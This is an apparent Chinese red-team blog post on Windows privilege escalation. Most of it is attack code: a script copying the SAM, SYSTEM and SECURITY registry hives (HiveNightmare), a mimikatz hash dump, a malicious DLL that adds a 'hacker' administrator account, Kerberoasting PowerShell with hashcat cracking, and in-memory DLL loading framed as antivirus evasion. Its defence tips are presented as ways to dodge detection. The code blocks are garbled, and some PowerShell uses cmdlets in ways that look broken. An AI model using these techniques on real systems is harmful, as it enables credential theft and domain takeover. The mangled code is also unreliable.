一、从一次APT攻击说起
2022年年底,某知名科技公司爆出了一起严重的数据泄露事件。攻击者通过一台普通员工的电脑,最终成功获得了整个域控服务器的最高权限,并将数十TB的敏感数据打包传出。值得注意的是,这次攻击的关键一步并非是0day漏洞的利用,而是利用了一系列精妙的权限提升技术,从普通用户逐步攀升到管理员权限。

权限提升是红队攻击链中不可或缺的一环。无论是通过本地提权获取管理员权限,还是在内网渗透中实现跨域控的权限扩展,这些技巧都能决定攻击的最终成败。本篇文章将从攻击者视角,深度探讨现代红队实战中常用的权限提升技术,并提供可复现的代码与操作指南。
---
二、本地权限提升的核心技巧
本地权限提升,通常是攻击者从普通用户权限爬升到目标机器的系统管理员权限的关键一步。以下是几种实战中常用的本地提权方法,每一种都附有具体实现的代码。
1. 漏洞利用:CVE-2021-36934 (HiveNightmare)
HiveNightmare 是一个广为人知的 Windows 提权漏洞,其核心原因在于系统注册表的敏感文件对普通用户权限开放了过多的读写权限。通过该漏洞,攻击者可以轻松窃取 SAM 文件,实现账户密码的破解与提权。
POC 演示
以下是利用 HiveNightmare 漏洞提权的 Python 代码:
<pre><code class="language-python">import os import shutil
定义敏感文件的默认路径
sam_path = r"C:\Windows\System32\config\SAM" system_path = r"C:\Windows\System32\config\SYSTEM" security_path = r"C:\Windows\System32\config\SECURITY"
定义备份路径以便窃取文件
backup_dir = r"C:\Users\Public\Backups" os.makedirs(backup_dir, exist_ok=True)
复制敏感注册表文件到备份目录
shutil.copy(sam_path, os.path.join(backup_dir, "SAM")) shutil.copy(system_path, os.path.join(backup_dir, "SYSTEM")) shutil.copy(security_path, os.path.join(backup_dir, "SECURITY"))
print("[+] 敏感文件已成功复制到备份目录:", backup_dir) print("[+] 现在可以使用 mimikatz 或其他工具解析这些文件!")</code></pre>
工具结合
复制出的 SAM 文件可以配合工具如 Mimikatz 或 hashcat 来破解密码,具体操作如下:
<pre><code class="language-bash"># 使用 mimikatz 提取 NTLM 哈希 mimikatz.exe "lsadump::sam /sam:C:\Users\Public\Backups\SAM /system:C:\Users\Public\Backups\SYSTEM"</code></pre>
2. DLL 劫持:劫持系统服务
DLL 劫持是另一种常见的提权方式,利用目标软件加载 DLL 的机制,攻击者可以植入恶意代码,并以更高权限运行。
DLL 劫持代码示例
以下是一个简单的恶意 DLL 代码示例,编译后即可使用:
<pre><code class="language-c">#include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { system("net user hacker P@ssw0rd /add"); system("net localgroup administrators hacker /add"); } return TRUE; }</code></pre>
操作步骤
- 将上述代码保存为
malicious.c并编译为 DLL 文件:
<pre><code class="language-bash"> gcc malicious.c -o malicious.dll `
- 找到一个可利用的系统服务(可通过 Process Monitor 工具确定目标 DLL 的加载路径)。
- 将恶意 DLL 文件放置到服务加载路径中,重启服务实现提权。
---
三、内网权限提升的进阶玩法
在内网环境中,权限提升的目标通常是域控或其他关键服务器。以下是几种当前流行的技术。
1. Kerberoasting 攻击
Kerberoasting 是针对 Kerberos 协议的一种攻击方式,目标是窃取具有服务主体名称 (SPN) 的账户的密码 Hash,从而在内网实现权限提升。

攻击步骤
使用 PowerShell 实现 Kerberoasting 攻击的完整流程: </code></pre>powershell
获取所有可请求票据的服务账户
Add-Type -AssemblyName System.IdentityModel $Context = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $DomainController = $Context.PdcRoleOwner.Name Set-ADForest -Identity $Context.Forest.Name -PassThru | Set-ADDomain -DomainController $DomainController
请求 Kerberos 服务票据
$SPNs = Get-ADUser -Filter { ServicePrincipalName -ne $null } -Properties ServicePrincipalName foreach ($SPN in $SPNs) { Write-Host "[+] 捕获目标:$($SPN.Name)" Request-KerberosTicket -AccountName $SPN.Name -OutFile "$($SPN.Name).kirbi" } <pre><code>
破解密码
通过获取的 .kirbi 文件,可以使用 hashcat 工具进行暴力破解: </code></pre>bash hashcat -m 13100 captured_ticket.kirbi rockyou.txt <pre><code> ---
四、流量伪装与免杀提权
在实战中,权限提升往往伴随着权限持久化与免杀绕过的需求。以下是几个有效的免杀技巧。
1. 内存加载免杀
利用 Python 的 ctypes 模块,可以直接在内存中加载恶意 DLL 文件,从而绕过传统的杀软检测。
</code></pre>python import ctypes

加载恶意 DLL
dll_path = r"C:\Users\Public\malicious.dll" ctypes.windll.LoadLibrary(dll_path)
print("[+] 恶意 DLL 已成功加载!") `
2. 流量加密与伪装
为了隐藏提权过程中产生的网络流量,可以使用 Cobalt Strike 的 Beacon 工具,结合 HTTPS 或 DNS 隧道技术伪装流量,绕过常见的 IDS/IPS 设备。
---
五、如何避免被权限提升工具盯上
虽然本文是从攻击者视角展开,但作为一名红队成员,你也需要清楚防御者可能采取的措施,从而更好地绕过检测。
防御策略
- 最小权限原则:限制普通用户对敏感文件和注册表的访问权限。
- 监控异常行为:通过 EDR 工具监控 DLL 加载、权限提升等行为。
- 加强口令策略:通过复杂口令和定期更换降低 Kerberoasting 攻击的成功率。
---
六、结语与心得
权限提升是一门技术与艺术的结合。从普通用户到系统管理员,从低权限账户到域控,攻击者需要在每一步中结合漏洞利用、横向移动与持久化技术。而作为红队成员,深入掌握这些技术,不仅能提升自己的攻击能力,还能更好地帮助企业找出潜在的安全隐患。
记住,使用这些技术时一定要在合法授权范围内,切勿滥用!